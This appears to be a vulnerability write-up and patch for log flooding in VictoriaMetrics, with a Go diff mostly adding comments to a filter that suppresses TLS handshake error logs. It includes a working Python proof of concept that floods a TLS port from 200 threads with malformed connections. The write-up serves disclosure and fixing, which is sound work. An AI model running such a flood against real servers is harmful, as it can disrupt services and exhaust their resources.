DoS via log flooding (TLS handshake errors)

PoC to demonstrate TLS-handshake-related log flooding before the fix can be suppressed by this patch. The idea is to generate many TLS handshake failures against the TLS port (e.g., via health probes) and observe log growth. Prerequisites: - VictoriaMetrics deployment with TLS enabled on a known port (TLS port). - Access to generate many malformed TLS connections to that port. Python PoC (generates non-TLS data to provoke handshake errors): #!/usr/bin/env python3 import socket, threading, time HOST = 'victoriametrics.example.com' # target host PORT = 443 # TLS port used by VictoriaMetrics when TLS is enabled DURATION = 10 # seconds per thread THREADS = 200 def flood_once(): end = time.time() + DURATION while time.time() < end: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) s.connect((HOST, PORT)) # Send bytes that do not form a valid TLS handshake s.sendall(b'not-a-tls-handshake') s.close() except Exception: pass threads = [] for _ in range(THREADS): t = threading.Thread(target=flood_once) t.daemon = True t.start() threads.append(t) for t in threads: t.join() Expected outcome: - Before this fix, repeated malformed TLS handshake attempts would generate many log lines such as "TLS handshake error" with EOF or connection reset, leading to log flooding and potential resource strain. - After the fix, these specific log lines are filtered by tlsErrorSkipLogger, reducing log flood from health-check probes while not affecting the TLS negotiation path for legitimate clients. Notes: - This PoC does not bypass TLS; it merely demonstrates a pattern that would trigger the server’s TLS handshake error logging. - The exact host/port must be replaced with the deployment’s TLS endpoint.

diff --git a/lib/httpserver/httpserver.go b/lib/httpserver/httpserver.go index c0c0d75e79471..0a8c9ba6d7775 100644 --- a/lib/httpserver/httpserver.go +++ b/lib/httpserver/httpserver.go @@ -811,10 +811,20 @@ func LogError(req *http.Request, errStr string) { logger.Errorf("uri: %s, remote address: %q: %s", uri, remoteAddr, errStr) } +// tlsErrorSkipLogger must be passed as the out argument to log.New only. +// It suppresses noisy TCP probe errors on TLS connections to avoid log pollution. +// +// This cannot be implemented in net.Listener because a TLS handshake may take seconds, +// during which no other connections can be accepted. Therefor, the implementation inside net.Listener can lead to DoS. +// Once a connection is passed to the conn serve goroutine, there is no direct access to the handshake logic, so this indirect +// approach is used instead. type tlsErrorSkipLogger struct{} +// Write filters out TLS handshake errors from health-check probes. +// log.Logger guarantees that each complete message is delivered in a single Write call +// and that calls are serialized, so we can safely inspect p for a "TLS handshake error". +// See https://github.com/golang/go/blob/38e988efb4b8f5e73e887027f386a342c138b649/src/log/log.go#L53-L57 func (*tlsErrorSkipLogger) Write(p []byte) (int, error) { - // skip common health check errors produced by Kubernetes and other tools if bytes.Contains(p, []byte("TLS handshake error")) && (bytes.Contains(p, []byte("EOF")) || bytes.Contains(p, []byte("connection reset by peer"))) { return len(p), nil